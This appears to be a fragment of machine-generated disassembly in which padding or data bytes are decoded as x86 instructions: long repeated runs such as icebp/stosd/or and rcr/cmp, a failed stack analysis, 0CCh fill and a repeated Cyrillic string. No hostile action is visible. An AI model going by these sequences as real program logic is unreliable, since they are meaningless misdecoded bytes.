		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		mov	al, 0BDh
		xchg	eax, edx
		inc	edi
		aas
		adc	[ebx+9ABF1ABh],	ecx
		popf
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-62F6540Fh], ebx
		icebp
		stosd
		or	[ebp-3CF6540Fh], ebx
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		cmp	al, bl
		rcr	byte ptr [ebx-642D3CC6h], cl
		shl	byte ptr [edx-5D2FD90Ch], 1
		hlt
sub_5D0537	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 26h
		dd 533h	dup(26F4A2D0h),	0CCF4A2D0h, 574h dup(0CCCCCCCCh)
		db 3 dup(0CCh)
asc_5D4D5B	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: ___:off_43162Co
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
